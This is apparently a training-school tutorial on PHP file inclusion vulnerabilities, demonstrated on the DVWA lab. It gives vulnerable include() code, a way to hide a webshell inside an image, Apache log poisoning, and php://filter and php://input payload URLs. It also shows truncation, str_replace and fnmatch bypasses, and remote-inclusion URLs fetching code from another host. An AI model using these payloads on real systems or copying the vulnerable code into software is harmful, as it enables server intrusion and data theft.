老男孩教育专注IT教育10余年,只培养IT技术精英

全国免费咨询电话(渠道合作):400-609-2893

文件包含漏洞原理是什么?网络安全培训学习

老男孩IT教育

行业新闻

2020年11月23日 14:47

老男孩网络培训学习。为了更好地使用代码的重用性,引入了文件包含函数,可以通过文件包含函数将文件包含进来,直接使用包含文件的代码。

文件包含漏洞:

简单一句话,为了更好地使用代码的重用性,引入了文件包含函数,可以通过文件包含函数将文件包含进来,直接使用包含文件的代码。在大多数 Web 语言中都会提供的功能,但 PHP 对于包含文件所提供的功能太强大,太灵活,所以包含漏洞经常出现在 PHP 语言中,这也就导致了出现了一个错误现状,很多初学者认为包含漏洞只出现 PHP 语言之中,殊不知在其他语言中可能出现包含漏洞。这也应了一句老话:功能越强大,漏洞就越多。

文件包含漏洞的原理:

大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。

示例代码:

<?php

    $filename  = $_GET['filename'];

    include($filename);

?>

典型特征

?page=a.php 

?home=b.html 

?file=content…

涉及到的危险函数:

include 函数: 执行到 include 时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行

require 函数:只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本

include_once 函数:在脚本执行期间包含并运行指定文件。此行为和 include 语句类似,唯一区别是如果该文件中已经被包含过,则不会再次包含。如同此语句名字暗示的那样,只会包含一次;

require_once 函数:和 require 语句完全相同,唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含。

文件包含漏洞的分类:

1、本地文件包含漏洞:

仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。

2、远程文件包含漏洞:

能够通过 url 地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。

需要设置 PHPstudy 的参数开关设置

allow_url_include=on

magic_quotes_gpc=off

文件包含漏洞的上传技巧:

1、小马+图片:

方法一:直接伪造头部 GIF89A

方法二:CMD 方法,copy /b test.png+1.php muma.png

方法三:直接使用工具增加备注写入一句话木马。

2、小马+日志:

当某个 PHP 文件存在本地包含漏洞,而却无法上传正常文件,这就意味这有包含漏洞却不能拿来利用,这时攻击者就有可能会利用 apache 日志文件来入侵。

Apache 服务器运行后会生成两个日志文件,这两个文件是 access.log(访问日志)和 error.log(错误日志),apache 的日志文件记录下我们的操作,并且写到访问日志文件 access.log 之中

1、打开配置文件-httpd-conf”,打开 httpd.conf 配置文件,第 299 行 ##CustomLog "logs/access.log" common,将##删除

文件包含漏洞,网络安全培训面授0

2、将一句话木马写到 fiename 里,虽然会提示失败,但是会记录到日志文件中。

文件包含漏洞,网络安全培训面授1
文件包含漏洞,网络安全培训面授2

3、然后将日志的路径包含在 fiename 里,此时小马就被运行了,但是由于编码的缘故有可能并不生效。

文件包含漏洞,网络安全培训面授3

日志默认路径:

(1) apache+Linux 日志默认路径

/etc/httpd/logs/access_log 或者/var/log/httpd/access_log

(2) apache+win2003 日志默认路径

D: mpppachelogsccess.log

D: mpppachelogserror.log

(3) IIS6.0+win2003 默认日志文件

C:WINDOWSsystem32Logfiles

(4) IIS7.0+win2003 默认日志文件

%SystemDrive%inetpublogsLogFiles

(5) nginx 日志文件

日志文件在用户安装目录 logs 目录下

以我的安装路径为例/usr/local/nginx,那我的日志目录就是在/usr/local/nginx/logs 里

3、php 包含读文件:

构造 URL: http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=x.php

3.1 访问 URL,得到经过 base64 加密后的字符串:

文件包含漏洞,网络安全培训面授4

3.2 经解密还原得到如下:

文件包含漏洞,网络安全培训面授5

4、php 包含写文件:

构造 URL: http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://input,并且提交post数据为:

注意:只有在 allow _url_include 为 on 的时候才可以使用,如果想查看回显结果那必须在 C:phpphp-5.2.14-Win32 下找到 php-apache2handler.ini 打开,查找 display_funtions=proc-open,oppen,exec,system…….删掉 system 重启 apache。

文件包含漏洞,网络安全培训面授6

5、包含截断绕过:(低)

如下代码,在上传的文件后面加.php 后缀,默认是 PHP 文件,但我们上传的文件肯定不是 PHP 文件。

<?php

if(isset($_GET['page'])){

include $_GET['page'] .".php" ;

}else{

include 'home.php';

}

?>

这种方法只适合于 magic_quotes_gpc=off 的时候, php 版本小于 5.3.4

可通过%00 截断绕过,不过现在已经很难见到了,比如:index.php?file=info.txt//////////////…………超过一定数据的/。

6、str_replace 函数绕过:(中)

使用 str_replace 函数是极其不安全的,因为可以使用双写绕过替换规则。

例如:page=hthttp://tp://192.168.0.103/phpinfo.txt时,str_replace函数会将http://删除,于是page=http://192.168.0.103/phpinfo.txt,成功执行远程命令。

因为替换的只是“../”、“..”,所以对采用绝对路径的方式包含文件是不会受到任何限制的。

6.1 本地文件包含

http://192.168.0.103/dvwa/vulnerabilities/fi/page=..././..././..././..././..././xampp/htdocs/dvwa/php.ini

6.2 绝对路径不受任何影响

http://192.168.0.103/dvwa/vulnerabilities/fi/page=C:/xampp/htdocs/dvwa/php.ini

6.3 远程文件包含

http://192.168.0.103/dvwa/vulnerabilities/fi/page=htthttp://p://192.168.5.12/phpinfo.txt

7、fnmatch 函数绕过:(高)

if(!fnmatch("file*",file)&&file!="include.php"),当文件既不是"include.php"也不是"file*"(文件名 file 开头)时才抛出错误,反之意思,如果文件名符合其中一个条件既可以。

构造 URL:http://192.168.0.103/dvwa/vulnerabilities/fi/page=file:///C:/xampp/htdocs/dvwa/php.ini

page=file:///C:/xampp/htdocs/dvwa/php.ini 刚好满足"file*"(文件名 file 开头)所以成功读取了服务器的配置文件。

PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、copy()、file_exists()和 filesize()的文件系统函数。 具体协议请参照http://www.php.net/manual/zh/wrappers.php。

文件包含漏洞,网络安全培训面授7

文件包含漏洞的防御方法:

将需要包含的文件写死

本文经授权发布,不代表老男孩教育立场。如若转载请联系原作者。